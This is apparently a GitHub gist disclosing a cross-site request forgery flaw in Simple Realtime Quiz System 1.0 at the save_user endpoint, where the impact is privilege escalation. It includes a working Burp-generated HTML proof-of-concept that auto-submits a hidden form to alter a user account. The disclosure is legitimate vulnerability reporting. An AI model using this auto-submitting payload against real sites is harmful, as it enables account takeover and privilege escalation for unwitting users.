Skip to content

Instantly share code, notes, and snippets.

@topsky979
Last active July 31, 2024 03:36
Show Gist options
  • Select an option

  • Save topsky979/03ae83fd32a94c85f910c8e3a85fa056 to your computer and use it in GitHub Desktop.

Select an option

Save topsky979/03ae83fd32a94c85f910c8e3a85fa056 to your computer and use it in GitHub Desktop.

[description]

Simple Realtime Quiz System was discovered to contain Cross-site request forgery(CSRF) vulnerability via the URI /ajax.php?action=save_user.


[Vulnerability Type]

Cross-site request forgery(CSRF)


[Vendor of Product]

[Affected Product Code Base]

1.0


[Impact Escalation of Privileges]

true


[POC]

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://192.168.0.183:11180/ajax.php?action=save_user" method="POST">
      <input type="hidden" name="id" value="8" />
      <input type="hidden" name="name" value="Sample&#32;Student&#32;1" />
      <input type="hidden" name="username" value="student" />
      <input type="hidden" name="password" value="" />
      <input type="hidden" name="type" value="2" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>


Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment